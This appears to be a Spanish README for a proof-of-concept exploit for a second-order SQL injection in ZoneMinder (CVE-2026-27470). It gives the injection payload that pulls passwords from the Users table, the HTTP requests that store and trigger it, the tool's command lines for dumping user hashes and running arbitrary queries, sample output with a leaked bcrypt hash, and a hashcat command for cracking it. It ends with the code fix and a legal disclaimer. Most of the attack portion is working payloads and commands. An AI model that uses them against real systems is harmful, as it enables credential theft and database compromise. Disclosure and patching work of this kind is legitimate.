
Prueba de concepto de explotación para una inyección SQL de segundo orden en ZoneMinder (CVE-2026-27470). Demuestra la extracción autenticada de datos, incluidas las credenciales de usuario, con opciones para consultas personalizadas y volcado de hashes.
⚠️ AVISO LEGAL
Esta herramienta ha sido desarrollada exclusivamente con fines educativos y para pruebas de seguridad autorizadas por escrito. Su uso contra sistemas que no posee o para los que no cuenta con permiso explícito por escrito es ilegal. El acceso no autorizado está sujeto a sanciones penales graves en muchos países (Turquía TCK art. 243-245, CFAA de EE. UU., Directiva NIS de la UE, etc.). Toda responsabilidad legal derivada del mal uso de esta herramienta recae en el usuario; el autor no acepta ninguna responsabilidad.
Prueba de concepto (PoC) para una vulnerabilidad de inyección SQL de segundo orden en ZoneMinder. Un usuario autenticado con permisos de edición y visualización de Events puede extraer datos arbitrarios de la base de datos, incluida toda la información de credenciales de usuarios.
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-27470 |
| Gravedad | ALTA — CVSS 8.8 |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Afectados | ZoneMinder ≤ 1.36.37 y 1.37.61 – 1.38.0 |
| Corregido en | 1.36.38 / 1.38.1 |
| Archivo | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: Neutralización incorrecta de comandos SQL |
| Autenticación requerida | Sí — permiso de edición + visualización de Events |
Se trata de una inyección SQL de segundo orden (almacenada) clásica. El ataque ocurre en dos fases separadas, razón por la cual los escáneres tradicionales suelen pasarla por alto.
Fase 1 — Escritura Segura
El atacante renombra un evento con una carga maliciosa. ZoneMinder utiliza correctamente una consulta parametrizada aquí, por lo que la carga se almacena de forma segura en la base de datos sin desencadenar errores:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — seguro ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
En este punto todo parece limpio. La carga permanece silenciosamente en la columna Events.Name.
Fase 2 — Lectura Vulnerable
El atacante activa getNearEvents() solicitando los eventos cercanos del mismo registro. La función lee el valor Name almacenado de la base de datos y lo concatena directamente en una nueva consulta SQL sin ningún tipo de escape:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~línea 460 — VULNERABLE ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← punto de inyección
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
La carga almacenada rompe el contexto de cadena y el UNION SELECT inyectado se ejecuta, filtrando datos en el campo NextEventId de la respuesta JSON:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
El desarrollador cometió un error muy común: sanitizó correctamente la entrada del usuario en el momento de la escritura, creando una falsa sensación de seguridad. La suposición de que "los datos de nuestra propia base de datos son seguros" permitió que la vulnerabilidad existiera en la ruta de lectura durante años. Los WAF y la mayoría de los escáneres automatizados no la detectarán porque la solicitud de escritura parece completamente limpia.
pip install requests
-t, --target URL del objetivo (p. ej. http://10.10.10.10:8080)
-u, --username Nombre de usuario de ZoneMinder
-p, --password Contraseña de ZoneMinder
--event-id ID del evento a utilizar como portador de la inyección
--query Consulta SQL personalizada a ejecutar
--dump-users Volcar todos los nombres de usuario y hashes de contraseñas
--field Campo de inyección: Name (predeterminado) o Cause
--no-restore No restaurar el nombre del evento tras la explotación
# Comprobar la versión de la BD (prueba más sencilla)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# Volcar todos los usuarios y hashes de contraseñas
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# Inyectar a través del campo Cause en lugar de Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# Consulta personalizada
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Atacante ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │
# Descifrar hashes obtenidos con hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Events.Name es varchar(64) en la base de datos — mantenga las cargas de inyección por debajo de 63 caracteresnearevents.NextEventId en la respuesta JSONActualice ZoneMinder a la versión 1.36.38 o 1.38.1.
La corrección consiste en utilizar un marcador de posición de consulta parametrizada para el valor almacenado en lugar de la concatenación de cadenas:
// Antes (vulnerable)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// Después (corregido)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
Esta herramienta es solo para fines educativos y de investigación de seguridad autorizada.
No la utilice contra sistemas que no posea o para los que no tenga permiso explícito por escrito.